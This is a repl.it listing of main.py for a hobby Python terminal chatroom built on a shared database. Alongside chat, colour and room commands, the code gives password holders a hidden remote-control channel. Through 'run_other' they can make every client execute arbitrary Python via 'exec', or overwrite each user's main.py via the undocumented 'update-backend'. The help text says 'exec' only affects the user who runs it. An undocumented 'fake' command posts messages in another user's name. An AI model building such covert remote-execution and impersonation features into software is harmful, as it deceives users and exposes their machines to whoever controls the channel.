@pyelias/Chatroom
Python

No description

fork
loading
repl talk
(games)
Files
  • main.py
  • censored.txt
  • db.py
  • query.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
"""
Rules:
  No spam
  No offensive messages
  No impersonation
I will delete anything that breaks the rules.

  !refresh
  Refresh the messages. This will remove deleted messages.
  
  !say|stuff
  Say 'stuff' in the chat. This is mostly useless, but
  people who know a password can use it to do spoopy stuff.

  !id|msg
  Get the id of the poster of a message.
  msg is the number to the left of the message.
  This will print the user id.
  
  !run_other|pw|who|command|args
  pw is the password. Only admins know the password. who is who to run
  the command on. It can be in a few formats:
    username - everyone with that username
    !username - everyone except people with that username
    @id - everyone with that user id
    [email protected] - evryone except people with that user id
    
  command is the command to run. If it was say, it would say something.
  args are the parameters to run the command with.
  
  For example:
    !run_other|password|Clarence|say|hi
    would make every user named Clarence say hi.
    
  !mute|who
  Mute a user. You can't see what they say after this
  But you will have to refresh to remove their previous
  messages. Don't try to hack around this, it's client side.
  
  !unmute|name
  See above.
  
  !exec|code
  Run the code 'code'. Don't try to hack with this, it'll
  only do it to you.
  
  !who
  Shows who is in the room.
  
  !refall|pw
  Password protected (can cause lag). Refreshes everyone.
  
  !change|room
  Move to the room 'room'. You start in 'lobby'.
  
  !room
  Get the current room.
  
  !kick|msg
  Kick YOURSELF.
  
  !color|color|attrs|text
  !c|color|attrs|text
  Say colored text. color is the color.
  attr is the abbreviations for attributes:
    b: bold
    d: dark
    u: underline
    l: blink
    r: reversed
    c: concealed
  So bu would be bold and underlined. Leave attr empty for no attributes.
  text is just what to say.
  
  !pmc|color|attrs|user|text
  Colored pm.
  
  !colordefault|color|attrs
  !cd|color|attrs
  Change your default color. See above for uses.
  
  !announce|pw|text
  !a|pw|text
  Say text in all rooms. Password protected.
  
  !cannounce|color|attrs|pw|text
  !ca|color|attrs|pw|text
  Colored version of announce
  
  !namec|color|attrs
  !nc|color|attrs
  Change your name color. Similar to other color commands. Red is password protected.
"""

import threading
import time
import collections
import itertools
import hashlib
import random
import requests
import re
import atexit # adding a disconnect message, doesnt work right now

from termcolor import colored

# hacks to get screen clear
import sys
import inspect


# end haxz

def clear():
  print("\n" * 100)

import db
from query import *

PW = "a5650dd0d2430ad387b684b34245771bd0d360ecf62ebb6019f81fd06f99b1d9" # hashed password
SEMI_PW = "4420bbe497beac78f1896741d5e10311ee806f1e1eebcb40a50aae9c708e1ef0"

SALT = "pyeliasisawesome" # had to think of a long phrase fast, lol

STAFF = db.ConnectedDatabase("chatroom", "staff").query()
STAFF = [name.lower() for name in STAFF]

SEMI_STAFF = db.ConnectedDatabase("chatroom", "semistaff").query()
SEMI_STAFF = [name.lower() for name in SEMI_STAFF]

PROTECTED = db.ConnectedDatabase("chatroom", "protected").query()
PROTECTED = [name.lower() for name in PROTECTED]

IPW = []

CENSOR_CHAR = "*"

def compile_censored(entry):
  return entry["repl"],re.compile(entry["pattern"],re.IGNORECASE)

def get_censored():
  global CENSORED
  CENSORED = db.ConnectedDatabase("chatroom", "censored").query()
  CENSORED = [compile_censored(entry) for entry in CENSORED]

get_censored()

REAL_CENSORED = CENSORED

CURR_ROOM = None

PUNCTUATION = set("\"',./<>?`1234567890-=+_)(*&^%$#@!~[{]}\|;:")

TIME = [
  ("minute", 60),
  ("hour", 60),
]

ATTR_ABRV = {
  "b": "bold",
  "d": "dark",
  "u": "underline",
  "l": "blink",
  "r": "reversed",
  "c": "concealed",
}

ATTRS = [
  "bold",
  "dark",
  "underline",
  "blink",
  "concealed",
]

COLORS = [
  "grey",
  "red",
  "green",
  "yellow",
  "blue",
  "magenta",
  "cyan",
  "white",
]

SPECIAL_COLORS = [
  "rainbow",
]

RAINBOW_COLORS = [
  "red",
  "green",
  "yellow",
  "blue",
  "magenta",
  "cyan",
]

def sha256(string):
  return hashlib.sha256(bytes(string, "utf-8")).hexdigest()

def md5(string,i=1024,s=""): # actually iterated sha256, too lazy to rename
  res = string
  for _ in range(i):
    res = sha256(res + SALT + s)
  return res
  
def oracle(i,s,o): # some cool crypto stuff
  r = requests.post("http://riutils.pythonanywhere.com/",data={'i':i,'s':s,'o':o})
  if r.text not in ["0", "1"]:
    print(r.text)
  return r.text=="1"

def censor(string):
  res = string
  for r, c in REAL_CENSORED:
    res = c.sub(r, res,)
  return res
  
def add_color(text, color, attrs=[]):
  if "reversed" in attrs:
    text = text[::-1]
  attrs_new = [attr for attr in attrs if attr in ATTRS]
  if color == "rainbow":
    res = []
    for char, color in zip(text, itertools.cycle(RAINBOW_COLORS)):
      res.append(colored(char, color, attrs=attrs_new))
    res = "".join(res)
  else:
    res = colored(text, color, attrs=attrs_new)
  
  return res

def does_who_select(who):
  if who == "all":
    return True
  if who[0] == "!":
    return who[1:] not in (name, p_name)
  elif who[0] == "@":
    if who[1] == "!":
      return int(who[2:]) != uid
    else:
      return int(who[1:]) == uid
  else:
    return who in (name, p_name)

class NewMessageGetter():
  def __init__(self, curr_id):
    self.curr_id = curr_id
    self.muted = set()
    self.msgs = []
    self.lmg={'sender':'','text':''}
  
  def fetch_new_messages(self):
    new_messages = messages.query(Attr("id") >= self.curr_id)
    if new_messages:
      self.curr_id = new_messages[-1]["id"] + 1
    return new_messages
  
  def recv_message(self, msg):
    self.msgs.append(msg)
    if "v" in msg and msg["v"] > VERSION:
      print("ERROR: outdated program detected. Try reloading the page, or")
      print("if you are using a forked version, go back to using the")
      print("original program (at repl.it/@replitcode/Pychat) so")
      print("updates can be applied.")
    if 'type' not in msg:
      return
    if 'sender' in msg and 'psender' in msg:
      p_sender = msg["psender"]
      if ("\u001b[31" not in msg['sender']):
        sender = msg['sender']
      elif (
            (
              p_sender.lower() in STAFF or
              p_sender.lower() in SEMI_STAFF
            ) and
            PW in msg.get("ipw", [])
            and
            ("text" not in msg or oracle(1024, str(msg["rid"])+"@"+msg["text"], msg.get("ident","")))
          ):
        sender = msg['sender']
      else:
        sender = 'blatant fake'
    
    if msg["type"] == "announce": # announcements override everything else
      print(f"({msg['id']}) ANNOUNCEMENT: {msg['text']}")
      return
      
    if "room" not in msg or msg["room"] != room_id:
      # if its a different room
      return
    else:
      if CURR_ROOM is not None:
        for pw in CURR_ROOM["pws"]:
          if pw in IPW:
            break
        else:
          return
      
    if "pm_recv" in msg:
      if not does_who_select(msg["pm_recv"]):
        return
      else:
        if "what" in msg and md5(msg["pw"]) == PW:
          COMMANDS[msg["what"]](*msg["args"])
        else:
          print("PM: ", end="")
    
    if msg["type"] == "text": # if its text
      if msg['sender']==self.lmg['sender'] and msg['text']==self.lmg['text']:
        return
      if sender not in self.muted:
        print(f"({str(msg['id']).zfill(5)})  "
              f"{censor(sender)}: {censor(msg['text'])}")
        self.lmg=msg
      if msg['sender'] != name and alive:
        global said_in_a_row
        said_in_a_row = 0
    elif msg["type"] == "command": # if its a command
      ident = str(msg['id']) + msg["command"] + str(msg["args"])
      if does_who_select(msg["who"]) and oracle(1024, ident, msg["pw"]):
        run_command(msg["command"], msg["args"], io=False)
    elif msg["type"] == "who_req":
      if "cmd" in msg:
        if md5(msg["pw"]) == PW and does_who_select(msg["who"]):
          COMMANDS[msg["cmd"]](*msg["args"])
      else:
        pm(sender, "is here.")
  
  def print_new_messages(self):
    for msg in self.fetch_new_messages():
      try:
        self.recv_message(msg)
      except Exception as e:
        print("Unexpected error encountered:")
        print(e)
    sys.stdout.flush()

def refresh(): # refresh the chat
  clear()
  
  curr_msg = messages.curr_id()

  old_message_id = max(curr_msg - 50, 0)
  msg_getter.msgs = []
  msg_getter.curr_id = old_message_id

def say(*what): # say stuff
  global color, attrs
  what = "|".join(what)
  if md5(what) == PW:
    print("nope")
  un_color = what
  what = add_color(what, color, attrs=attrs)
  global room_id
  msg = {
    "type": "text",
    "room": room_id,
    "when": time.time(),
    "sender": name,
    "psender": p_name,
    "ipw": IPW,
    "uid": uid,
    "text": what,
    "ptext": un_color,
    "v": VERSION,
  }
  if pw:
    rid = random.randint(0,1000000)
    ident = str(rid) + "@" + what
    msg["rid"] = rid
    msg["ident"] = md5(pw, 1024, ident)
  global alive
  if alive:
    messages.insert([msg])
  
  global said_in_a_row
  said_in_a_row += 1
  if said_in_a_row >= 10:
    room_id = "spam"

def run_other(*what):
  if what:
    pw, who, command, *args = what
    who = who.replace("@me", f"@{uid}")
    if md5(pw) == PW:
      ident = str(msg_getter.curr_id)+command+str(list(args))
      msg = {
        "type": "command",
        "room": room_id,
        "who": who,
        "pw": md5(pw,1024,ident),
        "command": command,
        "args": list(args),
        "v": VERSION,
      }
      command_pk, = messages.insert([msg])
      time.sleep(1)
      messages.delete(Pks([command_pk]))
    else:
      print("Password incorrect")
  else:
    pw = input("pw: ")
    who = input("who: ")
    command = input("command: ")
    args = input("args: ").split("|")
    run_other(pw, who, command, *args)

def mute(name):
  msg_getter.muted.add(name)

def unmute(name):
  msg_getter.muted.remove(name)

def code_exec(code):
  exec(code.replace(r"\n","\n"), globals(), globals())

def who(*other):
  msg = {
    "type": "who_req",
    "room": room_id,
    "ipw": IPW,
    "sender": name,
    "psender": p_name,
    "v": VERSION,
  }
  pk, = messages.insert([msg])
  time.sleep(1)
  messages.delete(Pks([pk]))

def refall(pw=None):
  if not pw:
    pw = input("pw: ")
  run_other(pw, "all", "refresh")

def fake(pw, who, *what):
  if who in STAFF:
    print("No fake staff.")
    return

  if md5(pw) in (PW, SEMI_PW):
    what = "|".join(what)
    msg = {
      "type": "text",
      "room": room_id,
      "sender": who,
      "ipw": [],
      "psender": who,
      "uid": random.randint(0, 999999),
      "text": what,
      "v": VERSION,
    }
    messages.insert([msg])

def pm(who, *what):
  what = "|".join(what)
  what = add_color(what, color, attrs=attrs)
  msg = {
    "type": "text",
    "when": time.time(),
    "pm_recv": who,
    "ipw": IPW,
    "room": room_id,
    "sender": name,
    "psender": p_name,
    "uid": uid,
    "text": what,
    "v": VERSION,
  }
  if pw:
    rid = random.randint(0,1000000)
    ident = str(rid) + "@" + what
    msg["rid"] = rid
    msg["ident"] = md5(pw, 1024, ident)
  messages.insert([msg])

def when(id_):
  msg = messages.query(Attr("id") == int(id_))
  if msg:
    msg = msg[0]
    if "when" in msg:
      diff = time.time() - msg['when']
      unit = "second"
      for new_unit, scale in TIME:
        if diff >= scale:
          diff /= scale
          unit = new_unit
        else:
          break
      print(f"{round(diff,2)} {unit}s ago.")
    else:
      print("When not supported for that message.")

def reset(pw):
  if md5(pw) == PW:
    messages.clear()
    refall(pw)
  else:
    print("Password incorrect")

def change(room="lobby"):
  private = db.ConnectedDatabase("chatroom","private-rooms").query()
  for priv_room in private:
    if room == priv_room["name"]:
      global CURR_ROOM
      CURR_ROOM = priv_room
      pw = md5(input("Password:"))
      if pw in priv_room["pws"]:
        IPW.append(pw)
        break
      else:
        print("Incorrect password")
        return
      
  global room_id
  room_id = room.lower()
  refresh()

def room():
  if room_id == "spam":
    print("lobby")
  else:
    print(room_id)

def get_id(id_):
  msg = messages.query(Attr("id") == int(id_))
  if msg:
    msg = msg[0]
    if "uid" in msg:
      print(msg["uid"])
    else:
      print("No id")

def kick(msg):
  say(f"was kicked for {msg}")
  global alive
  alive = False
  raise SystemExit(msg)

def color(color, attrs, *what):
  what = "|".join(what)
  attrs = [ATTR_ABRV[attr] for attr in attrs if attr in ATTR_ABRV]
  what = add_color(what, color, attrs=attrs)
  say(what)

def pm_color(color, attrs, user, *what):
  what = "|".join(what)
  what = add_color(what, color, attrs=attrs)
  pm(user, what)

def color_def(color_, attrs_):
  global color, attrs
  if color_ in COLORS or color_ in SPECIAL_COLORS:
    color = color_
    attrs = [ATTR_ABRV[attr] for attr in attrs_ if attr in ATTR_ABRV]
  else:
    print(f"No color {color_}")

def last_ro(dis, pw, who, what, *args):
  msg = {
    "type": "text",
    "when": time.time(),
    "pm_recv": who,
    "room": room_id,
    "sender": name,
    "psender": p_name,
    "ipw": IPW,
    "uid": uid,
    "text": dis,
    "v": VERSION,
    "what": what,
    "args": list(args),
    "pw": pw,
  }
  messages.insert([msg])

def last_ro2(pw, who, what, *args):
  msg = {
    "type": "who_req",
    "room": room_id,
    "sender": name,
    "psender": p_name,
    "v": VERSION,
    "pw": pw,
    "who": who,
    "cmd": what,
    "ipw": IPW,
    "args": list(args),
  }
  pk, = messages.insert([msg])
  time.sleep(1)
  messages.delete(Pks([pk]))

def toggle_censor():
  global REAL_CENSORED
  if REAL_CENSORED:
    REAL_CENSORED = []
    refresh()
    print("Censoring off")
  else:
    REAL_CENSORED = CENSORED
    refresh()
    print("Censoring on")

def announce(pw, *text):
  if md5(pw) == PW:
    msg = {
      "type": "announce",
      "text": "|".join(text),
      "uid": uid,
      "v": VERSION,
    }
    messages.insert([msg])

def c_announce(color, attrs, pw, *text):
  text = "|".join(text)
  attrs = [ATTR_ABRV[attr] for attr in attrs if attr in ATTR_ABRV]
  text = add_color(text, color, attrs=attrs)
  announce(pw, text)

def name_color(color, attrs):
  if color == "red":
    pw = input("Enter password for red: ")
    if md5(pw) != PW:
      print("incorrect")
      return
    else:
      IPW.append(pw)
  attrs = [ATTR_ABRV[attr] for attr in attrs if attr in ATTR_ABRV]
  global name
  name = add_color(p_name, color, attrs=attrs)

def name_change(new_name):
  global name, p_name
  name = p_name = new_name

def update_backend(new_code):
  open("main.py","w").write(new_code)
  print("updates have successfully been installed")

def update_all(pw):
  text = open("main.py").read()
  run_other(pw, "all", "update-backend", text)

COMMANDS = {
  "refresh": refresh,
  "say": say,
  "run_other": run_other,
  "mute": mute,
  "unmute": unmute,
  "exec": code_exec,
  "who": who,
  "refall": refall,
  "fake": fake,
  "pm": pm,
  "when": when,
  "reset": reset,
  "change": change,
  "room": room,
  "id": get_id,
  "kick": kick,
  "color": color,
  "c": color,
  "pmc": pm_color,
  "colordefault": color_def,
  "cd": color_def,
  "lr-ro": last_ro,
  "lr-ro2": last_ro2,
  "toggle-censor": toggle_censor,
  "tc": toggle_censor,
  "announce": announce,
  "a": announce,
  "cannounce": c_announce,
  "ca": c_announce,
  "namec": name_color,
  "nc": name_color,
  "flush": sys.stdout.flush,
  "refc": get_censored,
  "update-backend": update_backend,
  "update-all": update_all,#3###
}

def run_command(command, args, io=True): # run a command
  if io:
    print_ = print
  else:
    print_ = lambda *a, **k: None
  if command in COMMANDS:
    try:
      COMMANDS[command](*args)
      print_("Command complete")
    except Exception as e:
      print(e)
  else:
    print_(f"Command {command} not found")


messages = db.ConnectedDatabase("chatroom", "messages")

VERSION = messages.state

msg_getter = NewMessageGetter(0)

refresh()

def getter_loop():
  while True:
    msg_getter.print_new_messages()
    time.sleep(0.1)

def flush_loop():
  while True:
    sys.stdout.flush()
    time.sleep(1)

banned = db.ConnectedDatabase("chatroom", "banned").query()

name = input("Enter your username: ")[:50]
while "|" in name or "!" in name or "@" in name:
  print("No |, !, or @ in names.")
  name = input("Enter your username: ")[:50]

if name.lower().replace(" ","") in banned:
  print("You are banned")
  raise SystemExit("banned")

pw = None

p_name = name

if name.lower() in STAFF:
  while True:
    pw = input("Enter password for staff account: ")
    if md5(pw) == PW:
      IPW.append(md5(pw))
      name = add_color(name, "red", attrs=["bold"])
      break
    else:
      print("I CHANGED THE PASSWORD")
      print("GO TO THE ADMIN SITE AT https://replitdb.pythonanywhere.com/admin/")
      print("LOG IN AND GO TO GROUPS FOR THE NEW ONE")

elif name.lower() in SEMI_STAFF:
  while True:
    pw = input("Enter password for semi-staff account: ")
    if md5(pw) in [PW, SEMI_PW]:
      IPW.append(md5(pw))
      name = add_color(name, "cyan")
      break
    else:
      print("Password incorrect")
      print("The password was recently changed, if you're an admin")
      print("log in to django and look at Dbs.")

elif name.lower() in PROTECTED:
  while True:
    pw = input("Enter protected password: ")
    if md5(pw) in [PW, SEMI_PW]:
      IPW.append(md5(pw))
      break
    else:
      print("Password incorrect")
      print("The password was recently changed, if you're an admin")
      print("log in to django and look at Dbs.")

if md5(name) == PW:
  print("no password as name")
  exit()

name = name[:50]

clear()

uid = random.randint(0, 999999)

print("Welcome to the chatroom!")
print(__doc__)

input("Press enter to continue")

room_id = "lobby"

alive = True

attrs = []
color = "white"

said_in_a_row = 0

clear()

getter = threading.Thread(target=getter_loop)
getter.daemon = True
getter.start()

time.sleep(1)

say("has joined.")  # user: has joined.

flusher = threading.Thread(target=flush_loop)
flusher.daemon = True
flusher.start()

def leave():
  say("has left.")

atexit.register(leave)

while True:
  msg = input().strip()
  if msg:
    if msg[0] == "!":
      command = msg[1:]
      command, *args = command.split("|") # get command and args
      run_command(command, args) # run it
    else:
      say(msg)
  time.sleep(1)
Python 3.6.1 (default, Dec 2015, 13:05:11) [GCC 4.8.2] on linux